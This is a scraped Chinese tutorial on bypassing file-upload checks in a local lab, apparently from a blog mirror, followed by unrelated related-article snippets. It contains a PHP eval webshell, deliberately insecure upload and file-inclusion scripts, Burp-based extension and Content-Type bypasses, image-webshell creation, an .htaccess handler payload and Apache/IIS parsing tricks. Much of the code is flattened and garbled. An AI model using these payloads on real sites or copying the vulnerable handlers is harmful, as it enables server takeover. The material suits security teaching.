当前位置: 首页 > article >正文

web综合-文件上传(下)

一、文件上传绕过方式准备一个想要上传的木马文件muma.php?phpeval($_POST[pass]);?1.1客户端 JavaScript 校验绕过原理前端 JS 判断文件后缀不安全。绕过方法第一种浏览器禁用 JavaScriptF12打开开发者工具-设置-disable javascript-刷新页面后上传第二种BurpSuite 抓包修改文件后缀将下方的代码写入uploads_js.html!DOCTYPEhtmlhtmlheadmetacharsetutf-8titleupload-1 前端JS验证/titlescripttypetext/javascriptfunctioncheckFile(){varfiledocument.getElementsByName(upfile)[0].value;if(filenull||file){alert(请选择文件);returnfalse;}// 只允许 jpgif(!file.match(/.jpg$/i)){alert(只允许上传jpg文件);returnfalse;}}/script/headbodyh3upload-1 前端JS绕过/h3formactionupload1.phpmethodpostenctypemultipart/form-dataonsubmitreturncheckFile()选择文件inputtypefilenameupfilebrinputtypesubmitvalue上传/form/body/html再在同目录下写上传文件upload1.php?phpif($_FILES[upfile][error]0){$filename$_FILES[upfile][name];move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功路径uploads/.$filename;}else{echo上传失败;}?在burp suite中抓包上传文件的时候burp的intercept必须是on 的状态抓到的post包找到content-disposition:form-data;name‘file’;filename传入的图片名.jpg’将“传入的文件名.jpg改为”muma.php-forword此时就能成功上传木马文件绕过js 校验总结完全不可靠只要能抓包就能绕过是最基础的上传漏洞1.2服务端 Content-Type 校验绕过原理后端校验Content-Type为图片类型。绕过方法在根目录下写入upload_content_type.html文件!DOCTYPEhtmlhtmlheadmetacharsetutf-8titleupload-2 Content-Type验证/title/headbodyh3upload-2 Content-Type绕过/h3formactionupload2.phpmethodpostenctypemultipart/form-data选择文件inputtypefilenameupfilebrinputtypesubmitvalue上传/form/body/html同目录下写upload2.php?php$type$_FILES[upfile][type];// 只允许图片类型if($typeimage/jpeg||$typeimage/png||$typeimage/gif){$filename$_FILES[upfile][name];move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功路径uploads/.$filename;}else{echo只能上传图片;}?Burp抓包将Content-Type: application/octet-streamphp默认修改成Content-Type: image/jgep再点击forward,此时上传成功在文件内容开头加GIF89a伪装成gif图片intercept on-off,上传成功总结不可靠改一个请求头就能绕过1.3黑名单校验绕过原理禁止特定后缀但规则不全。可绕过后缀php3、php4、php5、phtml、cer、cdx写一个禁止传php后缀的php文件?phpheader(Content-type:text/html;charsetutf-8);$filename$_FILES[upfile][name];$extsubstr($filename,strrpos($filename,.)1);// 黑名单只禁止 php$black_listarray(php);if(in_array(strtolower($ext),$black_list)){echo禁止上传 .php 文件;exit;}move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功路径uploads/.$filename;?html文件!DOCTYPEhtmlhtmlheadmetacharsetutf-8title实操4黑名单绕过/title/headbodyh3实操4黑名单绕过只禁止 .php/h3formactionupload4.phpmethodpostenctypemultipart/form-data选择文件inputtypefilenameupfilebrinputtypesubmitvalue上传/form/body/html方法将muma.php改为muma.php3,就可以直接上传或者上传一个1.jpg文件burp抓包在post请求中将文件名改成muma.php3,或其他可执行后缀-intercept off-上传成功apache会自动解析为php执行总结黑名单是最坑的防护设计无法覆盖所有可执行后缀实战中容易被绕过1.4白名单校验绕过原理只允许.jpg .png .gif等图片后缀最安全。绕过条件配合文件包含漏洞组合利用绕过。搭建白名单上传upload8.html页面!DOCTYPEhtmlhtmlheadmetacharsetutf-8title实操8白名单文件包含/title/headbodyh3实操8白名单 文件包含/h3formactionupload8.phpmethodpostenctypemultipart/form-data选择文件inputtypefilenameupfilebrinputtypesubmitvalue上传/form/body/html搭建一个只允许图片通过的upload8.php页面?phpheader(Content-type:text/html;charsetutf-8);$extpathinfo($_FILES[upfile][name],PATHINFO_EXTENSION);if(strtolower($ext)!jpg){echo只允许 JPG;exit;}move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$_FILES[upfile][name]);echo上传成功uploads/.$_FILES[upfile][name];?搭建一个文件包含漏洞页面?php// 文件包含漏洞$file$_GET[file];include($file);?图片马制作思路方法一准备一张正常图片1.jpg和木马文件muma.php在cmd中copy /b test.jpg muma.php muma.jpg,这就能得到图片马方法二在之前写好的muma.php文件前插入GIF89a保存为muma.jpg文件访问http://localhost/upload8.html上传图片马白名单没有识别到其中的木马允许上传再访问http://localhost/include.php?filemuma.jpg,这一步是用文件包含漏洞将图片当作php执行打开蚁剑-点添加-URL填http://localhost/include.php?fileuploads/shell.jpg密码填pass,点测试连接显示连接成功成功拿到网站权限总结白名单 文件包含是实战中最常用的组合漏洞即使是严格的白名单校验也能被攻破。二、文件解析漏洞高频考点2.1Apache 解析漏洞特性从后往前识别后缀不认识的后缀就跳过。例如shell.php.xxx → 不认识xxx,就当作 PHP 执行。前端upload5.html!DOCTYPEhtmlhtmlheadmetacharsetutf-8title实操5Apache解析漏洞/title/headbodyh3实操5Apache 解析漏洞/h3formactionupload5.phpmethodpostenctypemultipart/form-data选择文件inputtypefilenameupfilebrinputtypesubmitvalue上传/form/body/html写禁止php通过的upload5.php?phpheader(Content-type:text/html;charsetutf-8);$filename$_FILES[upfile][name];$extpathinfo($filename,PATHINFO_EXTENSION);// 黑名单只禁 php$black_listarray(php);if(in_array(strtolower($ext),$black_list)){echo禁止上传 .php 文件;exit;}move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功路径uploads/.$filename;?绕过方法:一、上传文件名为muma.php.abc后缀为任意不认识的字符串二、用burp suite抓包将任意文件名改成muma.php.xxx再放行上传成功2.2.htaccess 攻击创建upload6.html!DOCTYPEhtmlhtmlheadmeta charsetutf-8title实操6.htaccess 绕过/title/headbodyh3实操6.htaccess 绕过/h3form actionupload6.phpmethodpostenctypemultipart/form-data选择文件input typefilenameupfilebrinput typesubmitvalue上传/form/body/html创建允许.htaccess通过的upload6.php?phpheader(Content-type:text/html;charsetutf-8);$filename$_FILES[upfile][name];$extstrtolower(pathinfo($filename,PATHINFO_EXTENSION));// 白名单允许 jpg 和 无后缀文件.htaccess 无后缀$allowarray(jpg,jpeg,png,gif);// 重点允许上传 .htaccess特殊文件名if($filename.htaccess){move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功uploads/.htaccess;exit;}// 其他文件必须是图片if(!in_array($ext,$allow)){echo只允许图片;exit;}move_uploaded_file($_FILES[upfile][tmp_name],uploads/.$filename);echo上传成功uploads/.$filename;?创建upload6.htaccessAddHandler application/x-httpd-php.jpg先上传.htaccess可以让服务器把后面上传的图片当 PHP 执行上传后再上传图片马muma.jpg访问muma.jpg即可被当作 PHP 执行。2.3. IIS6 解析漏洞原理IIS6.0 存在两个经典解析漏洞实战中仍有遇到分号截断、目录解析绕过方法1.分号截断遇到分号 ; 会 截断后缀只认后面的muma.jpg;.php → 当作 jpg 执行2.目录解析新建xxx.php目录目录内所有文件当作 php执行

相关文章:

web综合-文件上传(下)

一、文件上传绕过方式 准备一个想要上传的木马文件muma.php <?php eval($_POST[pass]); ?>1.1客户端 JavaScript 校验绕过 原理&#xff1a;前端 JS 判断文件后缀&#xff0c;不安全。 绕过方法&#xff1a; 第一种&#xff1a;浏览器禁用 JavaScript&#xff0c;F12打…...

从‘模糊’到‘精确’:手把手教你用频域分析搞定高斯滤波参数(附MATLAB/Python对比)

从频域视角解密高斯滤波&#xff1a;用频谱分析精准调参的实战指南 第一次接触高斯滤波时&#xff0c;你可能和我一样困惑——为什么调整那个叫"标准差"的σ参数&#xff0c;图像就会变得模糊&#xff1f;空域中那个神秘的钟形卷积核&#xff0c;到底是如何影响像素的…...

D3KeyHelper:暗黑3游戏自动化终极指南 - 告别手酸,轻松冲榜

D3KeyHelper&#xff1a;暗黑3游戏自动化终极指南 - 告别手酸&#xff0c;轻松冲榜 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面&#xff0c;可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 对于《暗黑破坏神…...

网盘直链下载助手终极指南:告别限速,一键获取8大网盘真实下载地址

网盘直链下载助手终极指南&#xff1a;告别限速&#xff0c;一键获取8大网盘真实下载地址 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘…...

终极指南:如何用LX Music桌面版免费畅享全平台海量音乐资源

终极指南&#xff1a;如何用LX Music桌面版免费畅享全平台海量音乐资源 【免费下载链接】lx-music-desktop 一个基于 Electron 的音乐软件 项目地址: https://gitcode.com/GitHub_Trending/lx/lx-music-desktop 你是否厌倦了各大音乐平台的会员限制&#xff1f;是否想要…...

3分钟掌握Windows Defender永久禁用:开源工具defender-control完全指南

3分钟掌握Windows Defender永久禁用&#xff1a;开源工具defender-control完全指南 【免费下载链接】defender-control An open-source windows defender manager. Now you can disable windows defender permanently. 项目地址: https://gitcode.com/gh_mirrors/de/defende…...

SDMatte在C语言项目中的调用:轻量级嵌入式图像处理方案

SDMatte在C语言项目中的调用&#xff1a;轻量级嵌入式图像处理方案 1. 嵌入式图像处理的挑战与机遇 在智能摄像头、工业视觉检测设备等嵌入式场景中&#xff0c;开发者常常面临一个两难选择&#xff1a;要么使用功能强大但资源消耗高的深度学习方案&#xff0c;要么选择轻量但…...

如何彻底解决显卡驱动冲突问题:Display Driver Uninstaller终极使用指南

如何彻底解决显卡驱动冲突问题&#xff1a;Display Driver Uninstaller终极使用指南 【免费下载链接】display-drivers-uninstaller Display Driver Uninstaller (DDU) a driver removal utility / cleaner utility 项目地址: https://gitcode.com/gh_mirrors/di/display-dri…...

《SAP FICO系统配置从入门到精通共40篇》030、集成配置:FI与生产计划(PP)的自动科目确定

030、集成配置&#xff1a;FI与生产计划&#xff08;PP&#xff09;的自动科目确定 一、深夜的报错单 上个月生产线夜班同事电话打过来&#xff0c;说MIGO做生产订单收货时跳会计凭证错误&#xff0c;消息号F5 707“科目确定错误”。跑到机房查ST22&#xff0c;dump里指向OBYC的…...

告别错位检测!用S2A-Net搞定航拍图像中的任意方向目标(附PyTorch代码实战)

航拍图像目标检测实战&#xff1a;S2A-Net从原理到PyTorch实现 航拍图像中的目标检测一直是计算机视觉领域的难点——密集排列的车辆、任意角度的建筑物、形态各异的自然景观&#xff0c;这些目标在传统检测框架下常常出现特征错位问题。今天我们要深入探讨的S2A-Net&#xff0…...

Zotero插件市场终极指南:如何深度解析插件生态系统的技术架构?

Zotero插件市场终极指南&#xff1a;如何深度解析插件生态系统的技术架构&#xff1f; 【免费下载链接】zotero-addons Zotero Add-on Market | Zotero插件市场 | Browsing, installing, and reviewing plugins within Zotero 项目地址: https://gitcode.com/gh_mirrors/zo/z…...

AI XDR架构与威胁检测:网络安全智能化的下一个十年

总结AI XDR代表了网络安全智能化的重要方向&#xff0c;它能够大幅提升威胁检测的准确性和效率&#xff0c;帮助安全团队从繁重的告警处理中解放出来。但AI XDR并非银弹&#xff0c;需要与人的经验相结合才能发挥最大价值。关注安全&#xff0c;守护数字世界&#xff01;...

手把手拆解DAMA语境关系图:用一张表搞定你的数据治理项目方案

数据治理实战&#xff1a;用DAMA语境关系图打造高效项目方案 数据治理项目的成败往往取决于方案设计的清晰度和说服力。面对复杂的业务需求和多变的利益相关方期望&#xff0c;项目经理常常陷入方案反复修改却始终无法获得认可的困境。DAMA体系中的语境关系图&#xff08;Conte…...

Audio Annotator:如何用免费开源工具3分钟完成专业音频标注?[特殊字符]

Audio Annotator&#xff1a;如何用免费开源工具3分钟完成专业音频标注&#xff1f;&#x1f680; 【免费下载链接】audio-annotator A JavaScript interface for annotating and labeling audio files. 项目地址: https://gitcode.com/gh_mirrors/au/audio-annotator 还…...

瑞士市政邮件服务提供商地图:基于多信号分类,助力数字主权洞察

【导语&#xff1a;目前有研究项目在完善瑞士市政电子邮件服务提供商地图。该地图涵盖约2100个瑞士municipalities&#xff0c;依据公开网络信号展示官方邮件服务提供商格局&#xff0c;代码和数据开源。】瑞士市政邮件服务提供商地图亮相这张地图涵盖了约 2100 个 瑞士 munici…...

3分钟搞定!为Word添加APA第7版引用模板的终极指南

3分钟搞定&#xff01;为Word添加APA第7版引用模板的终极指南 【免费下载链接】APA-7th-Edition Microsoft Word XSD for generating APA 7th edition references 项目地址: https://gitcode.com/gh_mirrors/ap/APA-7th-Edition 还在为学术论文的APA格式烦恼吗&#xff…...

别再死记硬背了!用Python+Audacity,5分钟搞懂声音的时域与频域(附代码)

用Python和Audacity解锁声音的奥秘&#xff1a;从时域到频域的实战指南 你是否曾经好奇过&#xff0c;为什么不同的乐器演奏同一个音符时听起来完全不同&#xff1f;或者为什么有些声音让人感到刺耳&#xff0c;而另一些则令人舒适&#xff1f;理解声音的时域和频域特性是解开…...

超越TextMeshPro基础:用AnimationCurve打造动态弯曲文字效果

超越TextMeshPro基础&#xff1a;用AnimationCurve打造动态弯曲文字效果 在AR/VR和交互式UI设计中&#xff0c;动态文字效果往往能带来更沉浸的体验。传统的静态文字布局已经无法满足现代应用对视觉表现力的需求&#xff0c;而TextMeshPro作为Unity中最强大的文字渲染工具&…...

SQLx中的Option类型处理:深入解析与实战

在使用SQLx库进行PostgreSQL数据库操作时,处理Option类型的数据有时会令人困惑。本文将通过一个具体的例子,详细解释如何正确处理Option<Person>类型,并展示如何避免常见的错误。 背景介绍 假设我们有一个Person结构体,代表人员信息: struct Person {name: Strin…...

Qwen3-VL-4B Pro商业价值:图文理解提效60%,人工审核成本下降45%

Qwen3-VL-4B Pro商业价值&#xff1a;图文理解提效60%&#xff0c;人工审核成本下降45% 在当今信息爆炸的时代&#xff0c;企业每天需要处理海量的图文内容——从商品图片审核到用户生成内容管理&#xff0c;从文档数字化到智能客服。传统的人工处理方式不仅效率低下&#xff…...

告别freeglut的坑:在Qt项目中优雅集成Assimp库加载多种3D模型(含STL/OBJ/FBX)

现代Qt项目中3D模型加载的终极方案&#xff1a;Assimp全格式支持实战 在三维可视化应用开发中&#xff0c;模型加载是构建沉浸式体验的基础环节。当Qt开发者需要处理多种工业级3D格式&#xff08;STL、OBJ、FBX等&#xff09;时&#xff0c;传统方案往往面临兼容性差、扩展性弱…...

Windows 11任务栏歌词终极解决方案:免打扰沉浸式听歌体验

Windows 11任务栏歌词终极解决方案&#xff1a;免打扰沉浸式听歌体验 【免费下载链接】Taskbar-Lyrics BetterNCM插件&#xff0c;在任务栏上嵌入歌词&#xff0c;目前仅建议Windows 11 项目地址: https://gitcode.com/gh_mirrors/ta/Taskbar-Lyrics 还在为听歌时频繁切…...

接口实现的艺术:类级别与函数级别的抉择

在面向对象编程中,接口的使用是增强代码可维护性和灵活性的重要手段。在Kotlin中,实现接口有两种常见方式:一种是在类级别实现,另一种是在函数级别通过匿名对象实现。本文将通过实例探讨这两种方法的优缺点。 类级别实现接口 interface A {fun foo() }class SomeActivity…...

哔哩下载姬完整教程:5分钟掌握B站视频批量下载与8K超清保存技巧

哔哩下载姬完整教程&#xff1a;5分钟掌握B站视频批量下载与8K超清保存技巧 【免费下载链接】downkyi 哔哩下载姬downkyi&#xff0c;哔哩哔哩网站视频下载工具&#xff0c;支持批量下载&#xff0c;支持8K、HDR、杜比视界&#xff0c;提供工具箱&#xff08;音视频提取、去水印…...

终极指南:如何用3步实现百度网盘高速下载突破

终极指南&#xff1a;如何用3步实现百度网盘高速下载突破 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 你是否厌倦了百度网盘令人抓狂的下载限速&#xff1f;想要免费突破官…...

Zotero插件市场:5分钟掌握终极插件管理方案

Zotero插件市场&#xff1a;5分钟掌握终极插件管理方案 【免费下载链接】zotero-addons Zotero Add-on Market | Zotero插件市场 | Browsing, installing, and reviewing plugins within Zotero 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-addons 你是否曾经为…...

上海 GEO 优化机构实力解析:十大标杆服务商核心优势深度呈现

随着生成式 AI 全面打通上海用户信息查询、消费下单全决策链条&#xff0c;超过六成上海本地企业都陷入共性增长难题&#xff1a;自身产品与服务实力出众&#xff0c;却在 AI 智能问答里曝光不足、信息偏差&#xff0c;品牌用户心智持续被同城竞品挤压。不少企业入局上海 GEO 赛…...

Z-Image-Turbo-辉夜巫女服务容器化深入:Dockerfile编写与多阶段构建优化

Z-Image-Turbo-辉夜巫女服务容器化深入&#xff1a;Dockerfile编写与多阶段构建优化 你是不是已经用现成的镜像跑通了Z-Image-Turbo-辉夜巫女&#xff0c;感觉部署挺方便&#xff0c;但心里总有点不踏实&#xff1f;比如&#xff0c;镜像体积是不是太大了&#xff0c;每次拉取…...

从C API到Connector/C++:一个C++算法工程师的MySQL连接库迁移心路与性能对比

从C API到Connector/C&#xff1a;一个C算法工程师的MySQL连接库迁移心路与性能对比 在算法开发领域&#xff0c;数据是模型的血液。三年前我刚加入金融风控团队时&#xff0c;面对每天TB级的交易数据&#xff0c;MySQL成了最可靠的伙伴。但当我第一次用C API编写数据管道时&am…...

Elden Ring帧率解锁与更多功能:3个步骤彻底告别60帧限制的完整指南

Elden Ring帧率解锁与更多功能&#xff1a;3个步骤彻底告别60帧限制的完整指南 【免费下载链接】EldenRingFpsUnlockAndMore A small utility to remove frame rate limit, change FOV, add widescreen support and more for Elden Ring 项目地址: https://gitcode.com/gh_mi…...